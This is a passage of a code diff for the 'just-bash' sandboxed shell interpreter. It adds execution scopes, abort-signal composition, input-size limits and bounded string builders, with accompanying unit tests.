set) - ...(options.maxCallDepth !== undefined && { - maxCallDepth: options.maxCallDepth, - }), - ...(options.maxCommandCount !== undefined && { - maxCommandCount: options.maxCommandCount, - }), - ...(options.maxLoopIterations !== undefined && { - maxLoopIterations: options.maxLoopIterations, - }), - }); - // Create secure fetch: prefer explicit fetch, fall back to network config if (options.fetch) { this.secureFetch = options.fetch; @@ -364,7 +385,8 @@ export class Bash { // Store logger if provided this.logger = options.logger; - // Defense-in-depth defaults to enabled + // Preserve the historical enabled default. Older supported Nodes use the + // strongest scoped controls they expose and report loader-hook capability. this.defenseInDepthConfig = options.defenseInDepth ?? true; // Store coverage writer if provided (for fuzzing instrumentation) @@ -373,6 +395,7 @@ export class Bash { // Initialize interpreter state this.state = { env, + arrays: new Map(), cwd, previousDir: "/home/user", functions: new Map(), @@ -459,13 +482,13 @@ export class Bash { } for (const cmd of createLazyCommands(options.commands)) { - this.registerCommand(cmd); + this.registerBundledCommand(cmd); } // Register network commands when fetch or network is configured if (options.fetch || options.network) { for (const cmd of createNetworkCommands()) { - this.registerCommand(cmd); + this.registerBundledCommand(cmd); } } @@ -473,7 +496,7 @@ export class Bash { // Python introduces additional security surface (arbitrary code execution) if (options.python) { for (const cmd of createPythonCommands()) { - this.registerCommand(cmd); + this.registerBundledCommand(cmd); } } @@ -486,7 +509,7 @@ export class Bash { // is provided (the hook is meaningless without js-exec). if (options.javascript || jsConfig.invokeTool) { for (const cmd of createJavaScriptCommands()) { - this.registerCommand(cmd); + this.registerBundledCommand(cmd); } if (jsConfig.bootstrap) { this.jsBootstrapCode = jsConfig.bootstrap; @@ -500,19 +523,34 @@ export class Bash { if (options.customCommands) { for (const cmd of options.customCommands) { if (isLazyCommand(cmd)) { - this.registerCommand(createLazyCustomCommand(cmd)); + const command = createLazyCustomCommand(cmd); + this.registerCommandInternal(command, true); } else { - this.registerCommand({ - ...cmd, - trusted: cmd.trusted ?? true, - }); + this.registerCommandInternal(cmd, true); } } } } registerCommand(command: Command): void { - this.commands.set(command.name, command); + this.registerCommandInternal(command, true); + } + + private registerBundledCommand(command: Command): void { + this.registerCommandInternal(command, false); + } + + private registerCommandInternal( + command: Command, + isExtension: boolean, + trusted = isExtension ? (command.trusted ?? true) : command.trusted, + ): void { + this.commands.set(command.name, { + name: command.name, + trusted, + internalIsExtension: isExtension, + execute: (args, context) => command.execute(args, context), + }); // Create command stubs in /bin and /usr/bin for PATH-based resolution // Works for both InMemoryFs and OverlayFs (both have writeFileSync) // Commands are registered to both locations like real Linux systems @@ -559,255 +597,342 @@ export class Bash { commandLine: string, options?: ExecOptions, ): Promise { - if (this.state.callDepth === 0) { - this.state.commandCount = 0; + const executionScope = new ExecutionScope(this.limits, options?.signal); + let result: BashExecResult; + try { + result = await this.execInScope( + commandLine, + options, + executionScope, + 0, + options?.signal, + false, // stdinAlreadyAccounted + false, // defer result logging until cleanup finalizes the result + ); + } catch (error) { + // Cleanup must not hide the original execution failure. + try { + await executionScope.close(); + } catch { + // The execution error remains the more useful and compatible failure. + } + throw error; } - this.state.commandCount++; - if (this.state.commandCount > this.limits.maxCommandCount) { - return { - stdout: "", - stderr: `bash: maximum command count (${this.limits.maxCommandCount}) exceeded (possible infinite loop). Increase with executionLimits.maxCommandCount option.\n`, - exitCode: 1, - env: mapToRecordWithExtras(this.state.env, options?.env), + let finalResult = result; + try { + await executionScope.close(); + } catch { + // Cleanup callbacks are extension code. Convert their failure into a + // shell result so Bash.exec() keeps its result-oriented error contract. + finalResult = { + ...result, + stderr: `${result.stderr}bash: execution cleanup failed\n`, + exitCode: 126, }; } + return commandLine.trim() ? this.logResult(finalResult) : finalResult; + } - if (!commandLine.trim()) { - return { - stdout: "", - stderr: "", - exitCode: 0, - env: mapToRecordWithExtras(this.state.env, options?.env), - }; - } + private async execInScope( + commandLine: string, + options: ExecOptions | undefined, + executionScope: ExecutionScope, + execDepth: number, + parentSignal: AbortSignal | undefined, + stdinAlreadyAccounted = false, + shouldLogResult = true, + ): Promise { + const finishResult = (result: BashExecResult): BashExecResult => + shouldLogResult ? this.logResult(result) : result; + const combinedAbort = combineAbortSignals(parentSignal, options?.signal); + const effectiveOptions = options + ? { ...options, signal: combinedAbort.signal } + : { signal: combinedAbort.signal }; - // Log command execution - this.logger?.info("exec", { command: commandLine }); - - // Each exec call gets an isolated state copy - like starting a new shell - // This ensures exec calls never interfere with each other - const effectiveCwd = options?.cwd ?? this.state.cwd; - - // Determine PWD and cwd for the new shell context - // If PWD is in the provided env, use it (inherited from parent) - // If PWD is NOT in the provided env (was unset), use realpath to get physical path - // This matches bash behavior: when PWD is unset and a new shell starts, - // it initializes PWD (and cwd) using realpath (resolving symlinks) - let newPwd: string | undefined; - let newCwd = effectiveCwd; - if (options?.cwd) { - if (options.env && "PWD" in options.env) { - // PWD explicitly provided - use it - newPwd = options.env.PWD; - } else if (options?.env && !("PWD" in options.env)) { - // PWD not in provided env - use realpath to resolve symlinks - // This also updates cwd since the shell determines its position from scratch - try { - newPwd = await this.fs.realpath(effectiveCwd); - newCwd = newPwd; // Both PWD and cwd should be the physical path - } catch { - // Fallback to logical path if realpath fails + try { + executionScope.assertExecDepth(execDepth); + + // Reject oversized source before trim/normalization/parser copies it. + // Source, expanded string values, and stdin have distinct budgets so a + // host can constrain any one without unexpectedly disabling the others. + assertSourceWithinLimit(commandLine, this.limits.maxSourceBytes); + + if (!commandLine.trim()) { + return { + stdout: "", + stderr: "", + exitCode: 0, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }; + } + + // Log command execution + this.logger?.info("exec", { command: commandLine }); + + // Each exec call gets an isolated state copy - like starting a new shell + // This ensures exec calls never interfere with each other + const effectiveCwd = effectiveOptions.cwd ?? this.state.cwd; + + // Determine PWD and cwd for the new shell context + // If PWD is in the provided env, use it (inherited from parent) + // If PWD is NOT in the provided env (was unset), use realpath to get physical path + // This matches bash behavior: when PWD is unset and a new shell starts, + // it initializes PWD (and cwd) using realpath (resolving symlinks) + let newPwd: string | undefined; + let newCwd = effectiveCwd; + if (effectiveOptions.cwd) { + if (effectiveOptions.env && "PWD" in effectiveOptions.env) { + // PWD explicitly provided - use it + newPwd = effectiveOptions.env.PWD; + } else if (effectiveOptions.env && !("PWD" in effectiveOptions.env)) { + // PWD not in provided env - use realpath to resolve symlinks + // This also updates cwd since the shell determines its position from scratch + try { + newPwd = await this.fs.realpath(effectiveCwd); + newCwd = newPwd; // Both PWD and cwd should be the physical path + } catch { + // Fallback to logical path if realpath fails + newPwd = effectiveCwd; + } + } else { + // No env provided - use logical cwd newPwd = effectiveCwd; } - } else { - // No env provided - use logical cwd - newPwd = effectiveCwd; } - } - // Create environment for this execution - const execEnv = options?.replaceEnv - ? new Map() - : new Map(this.state.env); - // Merge in options.env - if (options?.env) { - for (const [key, value] of Object.entries(options.env)) { - execEnv.set(key, value); + // Create environment for this execution + const execEnv = effectiveOptions.replaceEnv + ? new Map() + : new Map(this.state.env); + // Merge in options.env + if (effectiveOptions.env) { + for (const [key, value] of Object.entries(effectiveOptions.env)) { + execEnv.set(key, value); + } + } + // Update PWD when cwd option is provided + if (newPwd !== undefined) { + execEnv.set("PWD", newPwd); } - } - // Update PWD when cwd option is provided - if (newPwd !== undefined) { - execEnv.set("PWD", newPwd); - } - const execState: InterpreterState = { - ...this.state, - env: execEnv, - cwd: newCwd, - previousDir: options?.env?.OLDPWD ?? this.state.previousDir, - // Deep copy mutable objects to prevent interference - functions: new Map(this.state.functions), - localScopes: [...this.state.localScopes], - options: { ...this.state.options }, - // Share hashTable reference - it should persist across exec calls - hashTable: this.state.hashTable, - // Pass stdin through to commands (for bash -c with piped input). - // The pipeline contract is "stdin is a latin1-shaped byte buffer"; - // text-shaped user input (the default) needs UTF-8 encoding here - // so byte consumers (`wc -c`, `base64`) inside the script see real - // UTF-8 bytes. Callers that already prepared a byte buffer (e.g. - // `Buffer.from(buf).toString("latin1")`) opt into raw passthrough - // via `stdinKind: "bytes"`. - groupStdin: encodeStdinForPipeline(options?.stdin, options?.stdinKind), - // Cooperative cancellation signal (used by timeout command) - signal: options?.signal, - // Extra arguments injected directly into first command's arg list - extraArgs: options?.args, - }; + const execState: InterpreterState = { + ...this.state, + env: execEnv, + arrays: effectiveOptions.replaceEnv + ? new Map() + : cloneArrays(this.state.arrays), + cwd: newCwd, + previousDir: effectiveOptions.env?.OLDPWD ?? this.state.previousDir, + // Deep copy mutable objects to prevent interference + functions: new Map(this.state.functions), + localScopes: [...this.state.localScopes], + options: { ...this.state.options }, + // Share hashTable reference - it should persist across exec calls + hashTable: this.state.hashTable, + // Pass stdin through to commands (for bash -c with piped input). + // The pipeline contract is "stdin is a latin1-shaped byte buffer"; + // text-shaped user input (the default) needs UTF-8 encoding here + // so byte consumers (`wc -c`, `base64`) inside the script see real + // UTF-8 bytes. Callers that already prepared a byte buffer (e.g. + // `Buffer.from(buf).toString("latin1")`) opt into raw passthrough + // via `stdinKind: "bytes"`. + groupStdin: encodeStdinForPipeline( + effectiveOptions.stdin, + effectiveOptions.stdinKind, + this.limits.maxInputBytes, + this.limits.maxStringLength, + executionScope, + stdinAlreadyAccounted, + ), + // Cooperative cancellation signal (used by timeout command) + signal: effectiveOptions.signal, + // Extra arguments injected directly into first command's arg list + extraArgs: effectiveOptions.args, + }; - // Normalize indented multi-line scripts (unless rawScript is true) - // This allows writing indented bash scripts in template literals - // BUT we must preserve whitespace inside heredoc content - let normalized = commandLine; - if (!options?.rawScript) { - normalized = normalizeScript(commandLine); - } + // Normalize indented multi-line scripts (unless rawScript is true) + // This allows writing indented bash scripts in template literals + // BUT we must preserve whitespace inside heredoc content + let normalized = commandLine; + if (!effectiveOptions.rawScript) { + normalized = normalizeScript(commandLine); + } - // Activate defense-in-depth box if configured - // This wraps execution in AsyncLocalStorage context for context-aware blocking - const defenseBox = this.defenseInDepthConfig - ? DefenseInDepthBox.getInstance(this.defenseInDepthConfig) - : null; - const defenseHandle = defenseBox?.activate(); + // Activate defense-in-depth box if configured + // This wraps execution in AsyncLocalStorage context for context-aware blocking + const defenseBox = this.defenseInDepthConfig + ? DefenseInDepthBox.getInstance(this.defenseInDepthConfig) + : null; + const defenseHandle = defenseBox?.activate(); - try { - // Run execution inside defense-in-depth context if enabled - const executeScript = async (): Promise => { - let ast = parse(normalized, { - maxHeredocSize: this.limits.maxHeredocSize, - }); + try { + // Run execution inside defense-in-depth context if enabled + const executeScript = async (): Promise => { + let ast = parse(normalized, { + maxHeredocSize: this.limits.maxHeredocSize, + }); - // Apply transform plugins if any are registered. - // Keep metadata null-prototype even when plugins contribute dynamic keys. - let metadata: ReturnType | undefined; - if (this.transformPlugins.length > 0) { - let meta: Record = Object.create(null); - for (const plugin of this.transformPlugins) { - const pluginResult = plugin.transform({ ast, metadata: meta }); - ast = pluginResult.ast; - if (pluginResult.metadata) { - meta = mergeToNullPrototype(meta, pluginResult.metadata); + // Apply transform plugins if any are registered. + // Keep metadata null-prototype even when plugins contribute dynamic keys. + let metadata: ReturnType | undefined; + if (this.transformPlugins.length > 0) { + let meta: Record = Object.create(null); + for (const plugin of this.transformPlugins) { + const pluginResult = plugin.transform({ ast, metadata: meta }); + ast = pluginResult.ast; + if (pluginResult.metadata) { + meta = mergeToNullPrototype(meta, pluginResult.metadata); + } } + metadata = meta; } - metadata = meta; - } - // Create interpreter with appropriate state - const interpreterOptions: InterpreterOptions = { - fs: this.fs, - commands: this.commands, - limits: this.limits, - exec: this.exec.bind(this), - fetch: this.secureFetch, - sleep: this.sleepFn, - trace: this.traceFn, - coverage: this.coverageWriter, - requireDefenseContext: defenseBox?.isEnabled() === true, - jsBootstrapCode: this.jsBootstrapCode, - invokeTool: this.invokeToolFn, + // Create interpreter with appropriate state + const interpreterOptions: InterpreterOptions = { + fs: this.fs, + commands: this.commands, + limits: this.limits, + executionScope, + exec: (script, childOptions, childStdinAlreadyAccounted = false) => + this.execInScope( + script, + childOptions, + executionScope, + execDepth + 1, + effectiveOptions.signal, + childStdinAlreadyAccounted, + ), + fetch: this.secureFetch, + sleep: this.sleepFn, + trace: this.traceFn, + coverage: this.coverageWriter, + requireDefenseContext: defenseBox?.isEnabled() === true, + jsBootstrapCode: this.jsBootstrapCode, + invokeTool: this.invokeToolFn, + }; + + const interpreter = new Interpreter(interpreterOptions, execState); + const result = await interpreter.executeScript(ast); + // Interpreter always sets env, assert it for type safety + const execResult = result as BashExecResult; + if (metadata) { + execResult.metadata = metadata; + } + return finishResult(execResult); }; - const interpreter = new Interpreter(interpreterOptions, execState); - const result = await interpreter.executeScript(ast); - // Interpreter always sets env, assert it for type safety - const execResult = result as BashExecResult; - if (metadata) { - execResult.metadata = metadata; + // If defense-in-depth is enabled, run within the protected context + if (defenseHandle) { + return await defenseHandle.run(executeScript); } - return this.logResult(execResult); - }; - - // If defense-in-depth is enabled, run within the protected context - if (defenseHandle) { - return await defenseHandle.run(executeScript); + return await executeScript(); + } catch (error) { + // ExitError propagates from 'exit' builtin (including via eval/source) + if (error instanceof ExitError) { + return finishResult({ + stdout: error.stdout, + stderr: error.stderr, + exitCode: error.exitCode, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + // PosixFatalError propagates from special builtins in POSIX mode + if (error instanceof PosixFatalError) { + return finishResult({ + stdout: error.stdout, + stderr: error.stderr, + exitCode: error.exitCode, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + if (error instanceof ArithmeticError) { + return finishResult({ + stdout: error.stdout, + stderr: error.stderr, + exitCode: 1, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + // ExecutionAbortedError is thrown when an AbortSignal fires (timeout cancellation) + if (error instanceof ExecutionAbortedError) { + return finishResult({ + stdout: error.stdout, + stderr: error.stderr, + exitCode: 124, // Same as timeout exit code + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + // ExecutionLimitError is thrown when our conservative limits are exceeded + // (command count, recursion depth, loop iterations) + if (error instanceof ExecutionLimitError) { + return finishResult({ + stdout: error.stdout, + stderr: sanitizeErrorMessage(error.stderr), + exitCode: ExecutionLimitError.EXIT_CODE, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + // SecurityViolationError is thrown when defense-in-depth detects a blocked operation + if (error instanceof SecurityViolationError) { + return finishResult({ + stdout: "", + stderr: `bash: security violation: ${sanitizeErrorMessage(error.message)}\n`, + exitCode: 1, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + if ((error as ParseException).name === "ParseException") { + return finishResult({ + stdout: "", + stderr: `bash: syntax error: ${sanitizeErrorMessage((error as Error).message)}\n`, + exitCode: 2, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + // LexerError is thrown for lexer-level issues like unterminated quotes + if (error instanceof LexerError) { + return finishResult({ + stdout: "", + stderr: `bash: ${sanitizeErrorMessage(error.message)}\n`, + exitCode: 2, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + // RangeError occurs when JavaScript call stack is exceeded (deep recursion) + if (error instanceof RangeError) { + return finishResult({ + stdout: "", + stderr: `bash: ${sanitizeErrorMessage(error.message)}\n`, + exitCode: 1, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + throw error; + } finally { + // Always deactivate defense-in-depth box when done + defenseHandle?.deactivate(); } - return await executeScript(); } catch (error) { - // ExitError propagates from 'exit' builtin (including via eval/source) - if (error instanceof ExitError) { - return this.logResult({ - stdout: error.stdout, - stderr: error.stderr, - exitCode: error.exitCode, - env: mapToRecordWithExtras(this.state.env, options?.env), - }); - } - // PosixFatalError propagates from special builtins in POSIX mode - if (error instanceof PosixFatalError) { - return this.logResult({ - stdout: error.stdout, - stderr: error.stderr, - exitCode: error.exitCode, - env: mapToRecordWithExtras(this.state.env, options?.env), - }); - } - if (error instanceof ArithmeticError) { - return this.logResult({ - stdout: error.stdout, - stderr: error.stderr, - exitCode: 1, - env: mapToRecordWithExtras(this.state.env, options?.env), - }); - } - // ExecutionAbortedError is thrown when an AbortSignal fires (timeout cancellation) if (error instanceof ExecutionAbortedError) { - return this.logResult({ + return finishResult({ stdout: error.stdout, stderr: error.stderr, - exitCode: 124, // Same as timeout exit code - env: mapToRecordWithExtras(this.state.env, options?.env), + exitCode: 124, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), }); } - // ExecutionLimitError is thrown when our conservative limits are exceeded - // (command count, recursion depth, loop iterations) if (error instanceof ExecutionLimitError) { - return this.logResult({ + return finishResult({ stdout: error.stdout, stderr: sanitizeErrorMessage(error.stderr), exitCode: ExecutionLimitError.EXIT_CODE, - env: mapToRecordWithExtras(this.state.env, options?.env), - }); - } - // SecurityViolationError is thrown when defense-in-depth detects a blocked operation - if (error instanceof SecurityViolationError) { - return this.logResult({ - stdout: "", - stderr: `bash: security violation: ${sanitizeErrorMessage(error.message)}\n`, - exitCode: 1, - env: mapToRecordWithExtras(this.state.env, options?.env), - }); - } - if ((error as ParseException).name === "ParseException") { - return this.logResult({ - stdout: "", - stderr: `bash: syntax error: ${sanitizeErrorMessage((error as Error).message)}\n`, - exitCode: 2, - env: mapToRecordWithExtras(this.state.env, options?.env), - }); - } - // LexerError is thrown for lexer-level issues like unterminated quotes - if (error instanceof LexerError) { - return this.logResult({ - stdout: "", - stderr: `bash: ${sanitizeErrorMessage(error.message)}\n`, - exitCode: 2, - env: mapToRecordWithExtras(this.state.env, options?.env), - }); - } - // RangeError occurs when JavaScript call stack is exceeded (deep recursion) - if (error instanceof RangeError) { - return this.logResult({ - stdout: "", - stderr: `bash: ${sanitizeErrorMessage(error.message)}\n`, - exitCode: 1, - env: mapToRecordWithExtras(this.state.env, options?.env), + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), }); } throw error; } finally { - // Always deactivate defense-in-depth box when done - defenseHandle?.deactivate(); + combinedAbort.cleanup(); } } @@ -840,6 +965,7 @@ export class Bash { } transform(commandLine: string): BashTransformResult { + assertSourceWithinLimit(commandLine, this.limits.maxSourceBytes); const normalized = normalizeScript(commandLine); let ast = parse(normalized, { maxHeredocSize: this.limits.maxHeredocSize, @@ -1042,8 +1168,20 @@ function decodeBinaryToUtf8(s: string): string { function encodeStdinForPipeline( stdin: string | undefined, kind: "text" | "bytes" | undefined, + maxInputBytes: number, + maxStringLength: number, + executionScope: ExecutionScope, + alreadyAccounted: boolean, ): string | undefined { if (stdin === undefined) return undefined; + const inputBytes = kind === "bytes" ? stdin.length : utf8ByteLength(stdin); + if (inputBytes > maxInputBytes || inputBytes > maxStringLength) { + throw new ExecutionLimitError( + `stdin size limit exceeded (${Math.min(maxInputBytes, maxStringLength)} bytes)`, + "string_length", + ); + } + if (!alreadyAccounted) executionScope.consumeInput(inputBytes, "stdin"); if (kind === "bytes") return stdin; return latin1FromBytes(encodeUtf8ToBytes(stdin)); } diff --git a/packages/just-bash/src/abort-signals.ts b/packages/just-bash/src/abort-signals.ts new file mode 100644 index 000000000..6a171bbb6 --- /dev/null +++ b/packages/just-bash/src/abort-signals.ts @@ -0,0 +1,47 @@ +export interface CombinedAbortSignal { + signal: AbortSignal | undefined; + cleanup(): void; +} + +/** + * Compose abort signals without relying on AbortSignal.any(), which is not + * available in every supported runtime. The first abort reason wins and all + * listeners are removable by the caller's finally block. + */ +export function combineAbortSignals( + ...signals: Array +): CombinedAbortSignal { + const uniqueSignals = [ + ...new Set( + signals.filter((signal): signal is AbortSignal => signal !== undefined), + ), + ]; + if (uniqueSignals.length === 0) { + return { signal: undefined, cleanup() {} }; + } + if (uniqueSignals.length === 1) { + return { signal: uniqueSignals[0], cleanup() {} }; + } + + const controller = new AbortController(); + const listeners: Array void]> = []; + + for (const signal of uniqueSignals) { + if (signal.aborted) { + controller.abort(signal.reason); + break; + } + const onAbort = () => controller.abort(signal.reason); + signal.addEventListener("abort", onAbort, { once: true }); + listeners.push([signal, onAbort]); + } + + return { + signal: controller.signal, + cleanup() { + for (const [signal, listener] of listeners) { + signal.removeEventListener("abort", listener); + } + }, + }; +} diff --git a/packages/just-bash/src/bounded-builder.test.ts b/packages/just-bash/src/bounded-builder.test.ts new file mode 100644 index 000000000..caf7b7312 --- /dev/null +++ b/packages/just-bash/src/bounded-builder.test.ts @@ -0,0 +1,74 @@ +import { describe, expect, it } from "vitest"; +import { + BoundedByteBuilder, + BoundedStringBuilder, + boundedJoin, + boundedRepeat, + checkedAdd, + checkedMultiply, +} from "./bounded-builder.js"; +import { ExecutionLimitError } from "./interpreter/errors.js"; + +describe("bounded construction", () => { + it("rejects invalid capacities before accepting data", () => { + expect(() => new BoundedStringBuilder(Number.NaN, "test")).toThrow( + ExecutionLimitError, + ); + expect(() => new BoundedByteBuilder(-1, "test")).toThrow( + ExecutionLimitError, + ); + }); + + it("counts UTF-8 before appending", () => { + const builder = new BoundedStringBuilder(4, "test"); + builder.append("é").append("é"); + + expect(builder.byteLength).toBe(4); + expect(builder.build()).toBe("éé"); + expect(() => builder.append("x")).toThrow(ExecutionLimitError); + }); + + it("rejects repeat before materializing it", () => { + const builder = new BoundedStringBuilder(8, "test"); + + expect(() => builder.repeat("é", 5)).toThrow(ExecutionLimitError); + expect(builder.byteLength).toBe(0); + expect(builder.build()).toBe(""); + }); + + it("can reserve capacity for framing emitted by the caller", () => { + const builder = new BoundedStringBuilder(4, "test", undefined, 1); + builder.append("abc"); + + expect(builder.byteLength).toBe(3); + expect(builder.remainingBytes).toBe(0); + expect(() => builder.append("d")).toThrow(ExecutionLimitError); + }); + + it("assembles byte chunks within the configured bound", () => { + const builder = new BoundedByteBuilder(4, "test"); + builder.append(Uint8Array.of(1, 2)).append(Uint8Array.of(3, 4)); + + expect(builder.build()).toEqual(Uint8Array.of(1, 2, 3, 4)); + expect(() => builder.append(Uint8Array.of(5))).toThrow(ExecutionLimitError); + }); + + it("rejects unsafe arithmetic before construction", () => { + expect(() => checkedAdd(Number.MAX_SAFE_INTEGER, 1, "test")).toThrow( + ExecutionLimitError, + ); + expect(() => checkedMultiply(Number.MAX_SAFE_INTEGER, 2, "test")).toThrow( + ExecutionLimitError, + ); + expect(checkedMultiply(7, 6, "test")).toBe(42); + }); + + it("provides guarded repeat and join helpers", () => { + expect(boundedRepeat("é", 2, 4, "test")).toBe("éé"); + expect(() => boundedRepeat("é", 3, 4, "test")).toThrow(ExecutionLimitError); + expect(boundedJoin(["a", "é"], ",", 4, "test")).toBe("a,é"); + expect(() => boundedJoin(["a", "é"], ",", 3, "test")).toThrow( + ExecutionLimitError, + ); + }); +}); diff --git a/packages/just-bash/src/bounded-builder.ts b/packages/just-bash/src/bounded-builder.ts new file mode 100644 index 000000000..56920004b --- /dev/null +++ b/packages/just-bash/src/bounded-builder.ts @@ -0,0 +1,182 @@ +import { utf8ByteLength } from "./encoding.js"; +import { ExecutionLimitError } from "./interpreter/errors.js"; + +function assertBoundedCount(count: number, label: string): void { + if (!Number.isSafeInteger(count) || count < 0) { + throw new ExecutionLimitError( + `${label}: invalid bounded allocation count`, + "array_elements", + ); + } +} + +function allocationError(label: string): ExecutionLimitError { + return new ExecutionLimitError( + `${label}: invalid bounded allocation count`, + "array_elements", + ); +} + +/** Add allocation counts without permitting unsafe-integer wraparound. */ +export function checkedAdd(left: number, right: number, label: string): number { + assertBoundedCount(left, label); + assertBoundedCount(right, label); + const result = left + right; + if (!Number.isSafeInteger(result)) throw allocationError(label); + return result; +} + +/** Multiply allocation counts without permitting overflow or invalid inputs. */ +export function checkedMultiply( + left: number, + right: number, + label: string, +): number { + assertBoundedCount(left, label); + assertBoundedCount(right, label); + if (left !== 0 && right > Math.floor(Number.MAX_SAFE_INTEGER / left)) { + throw allocationError(label); + } + return left * right; +} + +/** Repeat only after proving that the resulting UTF-8 byte size is bounded. */ +export function boundedRepeat( + value: string, + count: number, + maxBytes: number, + label: string, +): string { + const builder = new BoundedStringBuilder(maxBytes, label); + builder.repeat(value, count); + return builder.build(); +} + +/** Join only after charging every value and separator before construction. */ +export function boundedJoin( + values: readonly string[], + separator: string, + maxBytes: number, + label: string, +): string { + const builder = new BoundedStringBuilder(maxBytes, label); + for (let index = 0; index < values.length; index++) { + if (index > 0) builder.append(separator); + builder.append(values[index]); + } + return builder.build(); +} + +export class BoundedStringBuilder { + private readonly chunks: string[] = []; + private usedBytes = 0; + + constructor( + private readonly maxBytes: number, + private readonly label: string, + private readonly createLimitError: + | (() => ExecutionLimitError) + | undefined = undefined, + private readonly reservedBytes = 0, + ) { + assertBoundedCount(maxBytes, label); + assertBoundedCount(reservedBytes, label); + if (reservedBytes > maxBytes) this.fail(); + } + + private fail(): never { + throw ( + this.createLimitError?.() ?? + new ExecutionLimitError( + `${this.label}: output size limit exceeded (${this.maxBytes} bytes)`, + "output_size", + ) + ); + } + + get byteLength(): number { + return this.usedBytes; + } + + get remainingBytes(): number { + return this.maxBytes - this.reservedBytes - this.usedBytes; + } + + reserve(bytes: number): void { + assertBoundedCount(bytes, this.label); + if (bytes > this.remainingBytes) { + this.fail(); + } + } + + append(value: string): this { + const bytes = utf8ByteLength(value); + this.reserve(bytes); + if (value) this.chunks.push(value); + this.usedBytes += bytes; + return this; + } + + repeat(value: string, count: number): this { + assertBoundedCount(count, this.label); + const unitBytes = utf8ByteLength(value); + if ( + unitBytes !== 0 && + count > Math.floor(this.remainingBytes / unitBytes) + ) { + this.fail(); + } + return this.append(value.repeat(count)); + } + + reset(): void { + this.chunks.length = 0; + this.usedBytes = 0; + } + + build(): string { + return this.chunks.join(""); + } +} + +export class BoundedByteBuilder { + private readonly chunks: Uint8Array[] = []; + private usedBytes = 0; + + constructor( + private readonly maxBytes: number, + private readonly label: string, + ) { + assertBoundedCount(maxBytes, label); + } + + get byteLength(): number { + return this.usedBytes; + } + + get remainingBytes(): number { + return this.maxBytes - this.usedBytes; + } + + append(value: Uint8Array): this { + if (value.byteLength > this.remainingBytes) { + throw new ExecutionLimitError( + `${this.label}: byte size limit exceeded (${this.maxBytes} bytes)`, + "string_length", + ); + } + if (value.byteLength > 0) this.chunks.push(value); + this.usedBytes += value.byteLength; + return this; + } + + build(): Uint8Array { + const output = new Uint8Array(this.usedBytes); + let offset = 0; + for (const chunk of this.chunks) { + output.set(chunk, offset); + offset += chunk.byteLength; + } + return output; + } +} diff --git a/packages/just-bash/src/browser.ts b/packages/just-bash/src/browser.ts index 1ad8c48e1..b565ade2c 100644 --- a/packages/just-bash/src/browser.ts +++ b/packages/just-bash/src/browser.ts @@ -21,8 +21,12 @@ export { getCommandNames, getNetworkCommandNames, } from "./commands/registry.js"; -export type { CustomCommand, LazyCommand } from "./custom-commands.js"; -export { defineCommand } from "./custom-commands.js"; +export type { + CommandContextOptions, + CustomCommand, + LazyCommand, +} from "./custom-commands.js"; +export { createCommandContext, defineCommand } from "./custom-commands.js"; export { InMemoryFs } from "./fs/in-memory-fs/index.js"; export type { BufferEncoding, @@ -58,4 +62,5 @@ export type { CommandContext, ExecResult, IFileSystem, + ResolvedCommandContext, } from "./types.js"; diff --git a/packages/just-bash/src/cli/exec-limits.test.ts b/packages/just-bash/src/cli/exec-limits.test.ts new file mode 100644 index 000000000..cd09b1074 --- /dev/null +++ b/packages/just-bash/src/cli/exec-limits.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from "vitest"; +import { getDevExecutionLimits } from "./exec-limits.js"; + +describe("developer CLI execution limits", () => { + it("removes shell and traversal accounting ceilings with --no-limit", () => { + expect(getDevExecutionLimits(true)).toMatchObject({ + maxCommandCount: Number.POSITIVE_INFINITY, + maxLoopIterations: Number.POSITIVE_INFINITY, + maxTraversalEntries: Number.POSITIVE_INFINITY, + maxTraversalWork: Number.POSITIVE_INFINITY, + }); + }); +}); diff --git a/packages/just-bash/src/cli/exec-limits.ts b/packages/just-bash/src/cli/exec-limits.ts new file mode 100644 index 000000000..d309a91b3 --- /dev/null +++ b/packages/just-bash/src/cli/exec-limits.ts @@ -0,0 +1,18 @@ +import type { ExecutionLimits } from "../limits.js"; + +/** Resource policy for the developer execution CLI. */ +export function getDevExecutionLimits(noLimit: boolean): ExecutionLimits { + if (noLimit) { + return { + maxCommandCount: Number.POSITIVE_INFINITY, + maxLoopIterations: Number.POSITIVE_INFINITY, + maxTraversalEntries: Number.POSITIVE_INFINITY, + maxTraversalWork: Number.POSITIVE_INFINITY, + }; + } + + return { + maxCommandCount: 100_000, + maxLoopIterations: 100_000, + }; +} diff --git a/packages/just-bash/src/cli/exec.ts b/packages/just-bash/src/cli/exec.ts index b3581c8f3..42ee44315 100644 --- a/packages/just-bash/src/cli/exec.ts +++ b/packages/just-bash/src/cli/exec.ts @@ -27,6 +27,7 @@ import { resolve } from "node:path"; import { Bash } from "../Bash.js"; import { OverlayFs } from "../fs/overlay-fs/index.js"; import { parse } from "../parser/parser.js"; +import { getDevExecutionLimits } from "./exec-limits.js"; const showAst = process.argv.includes("--print-ast"); const runRealBash = process.argv.includes("--real-bash"); @@ -80,15 +81,7 @@ if (showAst) { // Create Bash environment with optional OverlayFS // Use high limits for dev:exec (typical use is exploration of large filesystems) -const executionLimits = noLimit - ? { - maxCommandCount: Number.MAX_SAFE_INTEGER, - maxLoopIterations: Number.MAX_SAFE_INTEGER, - } - : { - maxCommandCount: 100000, // Higher default for dev:exec - maxLoopIterations: 100000, - }; +const executionLimits = getDevExecutionLimits(noLimit); let env: Bash; if (rootPath) { diff --git a/packages/just-bash/src/cli/just-bash.test.ts b/packages/just-bash/src/cli/just-bash.test.ts index 8b55dad68..b71f63294 100644 --- a/packages/just-bash/src/cli/just-bash.test.ts +++ b/packages/just-bash/src/cli/just-bash.test.ts @@ -197,6 +197,84 @@ describe("just-bash CLI", () => { expect(result.stdout).toBe("in cwd"); 